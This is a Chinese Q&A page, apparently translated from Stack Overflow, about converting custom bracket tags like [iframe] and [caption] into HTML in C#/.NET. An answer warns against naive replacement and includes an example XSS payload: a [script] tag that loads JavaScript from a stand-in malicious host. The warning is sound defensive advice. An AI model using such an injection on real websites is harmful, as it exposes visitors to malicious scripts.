c# .net文本过滤器
本文关键字:过滤器 文本过滤 文本 net | 更新日期: 2023-09-27 18:15:05
我想将文本过滤为特定格式。假设我有一个像
这样的文本Lorem Ipsum只是印刷和排版行业的虚拟文本。自16世纪以来,Lorem Ipsum一直是行业的标准虚拟文本,[iframe width="200" height="300"][/iframe]
Lorem Ipsum只是印刷和排版行业的虚拟文本。自16世纪以来,Lorem Ipsum一直是行业标准的虚拟文本,
我想转换为:
Lorem Ipsum只是印刷和排版行业的虚拟文本。自16世纪以来,Lorem Ipsum一直是行业标准的虚拟文本,< iframe width="200" height="300"></iframe >
Lorem Ipsum只是印刷和排版行业的虚拟文本。自16世纪以来,Lorem Ipsum一直是行业标准的虚拟文本,
Ex2: [caption]My Caption[/caption]
将显示<span class="caption">My Caption</span>
您需要解析您的内容并将预定义的"组合"替换为等效的html。
你也需要非常小心,如果你接受成员的内容,因为你会直接改变html代码与替换。
James Deville有一个非常好的问题——可能最好的解决方案是使用一个已经放在一起的文本标记系统(markdown等)。
但是如果你决定做需要用自定义的方式来做(假设有用户输入):
只要确保不使用s/'[/</
和s/']/>/
之类的东西。这将使您对漏洞敞开大门。
有人可以输入
[script type="text/javascript" src="http://malicious-server.haxx/XSS.js"]
可以翻译成
<script type="text/javascript" src="http://malicious-server.haxx/XSS.js">
那么任何查看该文本片段的人也会无意中请求恶意javascript。
摘要:如果你做错了,你可能会给你的网站带来严重的安全漏洞。所以尽可能使用一个已经实现的系统。否则,对接受的标签要非常有选择性。